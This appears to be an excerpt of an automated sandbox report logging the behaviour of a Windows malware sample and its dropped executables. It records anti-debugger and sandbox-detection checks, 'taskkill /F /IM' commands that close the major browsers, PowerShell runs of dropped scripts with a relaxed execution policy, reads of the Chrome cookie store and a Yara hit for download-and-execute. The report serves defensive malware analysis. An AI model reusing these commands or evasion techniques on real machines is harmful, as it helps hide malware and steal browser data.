Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe

System information queried: KernelDebuggerInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsJKEGIDGDGH.exe

Code function: 9_2_04B00B75 rdtsc

9_2_04B00B75

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C65AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C65AC62

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C65AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C65AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6924, type: MEMORYSTR

Excessive usage of taskkill to terminate processes

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJKEGIDGDGH.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJKEGIDGDGH.exe "C:\Users\user\DocumentsJKEGIDGDGH.exe"	Jump to behavior
Source: C:\Users\user\DocumentsJKEGIDGDGH.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe "C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008569041\gok44.ps1"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008570041\gok44.ps1"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008571041\aZhXvFT.ps1"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008572041\vtF7qZo.ps1"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008573041\6OMLg7r.ps1"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008574041\DcDqduU.ps1"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe "C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe "C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe "C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe "C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\AppData\Local\Temp\1008579041\x0xqqzB.ps1"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe	Process created: unknown unknown

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6A4760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6C6A4760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C581C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6C581C30

Source: file.exe	Binary or memory string: Program Manager
Source: file.exe, 00000000.00000002.2127761872.00000000005D0000.00000040.00000001.01000000.00000003.sdmp, 32eab1d1d8.exe, 0000001C.00000002.3127151396.0000000000540000.00000040.00000001.01000000.00000018.sdmp	Binary or memory string: Program Manager
Source: DocumentsJKEGIDGDGH.exe, DocumentsJKEGIDGDGH.exe, 00000009.00000002.2167575161.00000000005BC000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, skotes.exe, 0000000B.00000002.2221576169.00000000004EC000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: #&PProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C65AE71 cpuid

0_2_6C65AE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008564001\CC [server].exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008564001\CC [server].exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008569041\gok44.ps1 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008570041\gok44.ps1 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008571041\aZhXvFT.ps1 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008572041\vtF7qZo.ps1 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008573041\6OMLg7r.ps1 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008574041\DcDqduU.ps1 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008575001\32eab1d1d8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008577001\8236bedaa4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008578001\ef3d6a004b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008579041\x0xqqzB.ps1 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
